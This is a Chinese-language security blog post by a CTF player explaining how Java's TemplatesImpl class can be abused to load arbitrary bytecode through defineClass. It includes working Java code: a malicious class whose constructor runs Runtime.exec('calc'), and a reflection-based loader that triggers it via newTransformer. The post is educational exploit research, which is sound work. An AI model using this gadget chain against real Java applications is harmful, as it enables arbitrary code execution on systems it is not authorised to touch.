利用TemplatesImpl动态加载字节码

发布于 2024-08-11  148 次阅读


利用TemplatesImpl动态加载字节码

defineClass

JAVA加载class时会依次尝试执行ClassLoader里的三个方法:

loadClass -> findClass -> defineClass

loadClass从已经加载的缓存、父加载器寻找该类字节码
findClass从指定uri寻找class文件,即远程或本地的.class文件或jar包
defineClass加载前两者找到的字节码,处理成JAVA类
如果能在程序运行时执行defineClass加载自定义的字节码,就能做到动态加载字节码,创建类了。
例如,编写类:

public class evil {
    public evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

编译出这个类的class文件,然后使用ClassLoader.defineClass加载该类的字节码:

    public static void main(String[] args) throws Exception {
        File file = new File("./out/production/testDefineClass/evil.class");
        FileInputStream filein = new FileInputStream(file);
        byte[] bytess = new byte[(int)file.length()];
        filein.read(bytess);
        String base64 = new String(Base64.getEncoder().encode(bytess));
        System.out.println(base64);

        String evilbase64 =  base64;//要加载的恶意类
        byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

        //直接使用defineClass加载字节码
        Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
        defclass.setAccessible(true);
        Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
        evilclass.newInstance();
    }

可以看到成功创建该类,new该类对象执行构造方法,弹出计算器。

TemplatesImpl

在ClassLoader类中,
image_mak
defineClass的修饰是protected,作用域不开放,在攻击的时候一般不能直接触发

而TemplatesImpl类中有一条方法利用链可以通过public的方法触发到参数可控defineClass,加载任意类。

先找defineClass的执行处,在方法defineClass中
image_mak
在方法defineTransletClasses中,执行了类内的defineClass
image_mak
继续向上跟进,找到getTransletInstance方法
image_mak
继续向上跟,找到newTransformer方法
image_mak
这里方法是public,可以直接访问执行。
因此我们的利用链是:

public synchronized Transformer newTransformer() ->
private Translet getTransletInstance() ->
private void defineTransletClasses() ->
Class defineClass(final byte[] b) 

利用的条件:
属性_name不为null,属性_class为null(_class本来就为null):
image_mak
属性_bytecode为二维byte数组,存入恶意类的字节码:
image_mak
然后_tfactory要设置成TransformerFactoryImpl对象,并且恶意类要继承类AbstractTranslet,这个不知道
因此
恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    public evil() throws Exception{
        Runtime.getRuntime().exec("calc");
    }

}

主程序:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
    public static <T> void setValue(TemplatesImpl obj,String fname,T newf) throws Exception {
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,newf);
    }//利用反射设置TemplatesImpl的私有属性

    public static void main(String[] args) throws Exception {
        File file = new File("./out/production/testDefineClass/evil.class");
        FileInputStream filein = new FileInputStream(file);
        byte[] bytess = new byte[(int)file.length()];
        filein.read(bytess);
        String base64 = new String(Base64.getEncoder().encode(bytess));
        System.out.println(base64);

        String evilbase64 =  base64;//要加载的恶意类
        byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

//        //直接使用defineClass加载字节码
//        Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
//        defclass.setAccessible(true);
//        Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
//        evilclass.newInstance();

        //使用TemplatesImpl加载字节码
        byte[][] evilbytes1 = new byte[][]{evilbytes};
        TemplatesImpl tempobj = new TemplatesImpl();
        setValue(tempobj,"_name","mak");
        setValue(tempobj,"_bytecodes",evilbytes1);
        setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
        tempobj.newTransformer();//执行newTransformer方法
    }
}

成功弹计算器
image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24